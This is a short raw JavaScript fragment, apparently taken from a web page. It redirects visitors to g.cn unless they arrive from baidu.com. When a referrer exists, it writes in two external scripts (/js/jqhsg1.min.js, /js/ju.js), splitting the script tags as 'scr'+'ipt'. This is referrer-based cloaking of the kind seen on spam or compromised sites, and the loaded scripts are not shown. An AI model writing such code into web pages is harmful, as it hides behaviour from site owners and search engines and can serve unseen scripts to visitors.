<script language="JavaScript">
var fromUrl=document.referrer
if(fromUrl){
fromUrl=fromUrl.slice(7)
var getUrl=fromUrl.split('/')
var domain=getUrl[0]
var start=domain.indexOf('.')
domain=domain.slice(start+1)
}
if(domain!="baidu.com")
window.open(' http://g.cn','_self','','true')
</script>
<script>if(document.referrer){
document.write('<scr'+'ipt src="/js/jqhsg1.min.js"></scr'+'ipt>')
document.write('<scr'+'ipt src="/js/ju.js"></scr'+'ipt>')
//点击进入
console.log('点击进入')
}else{
//输入网址进入
console.log('输入网址进入')
}
</script>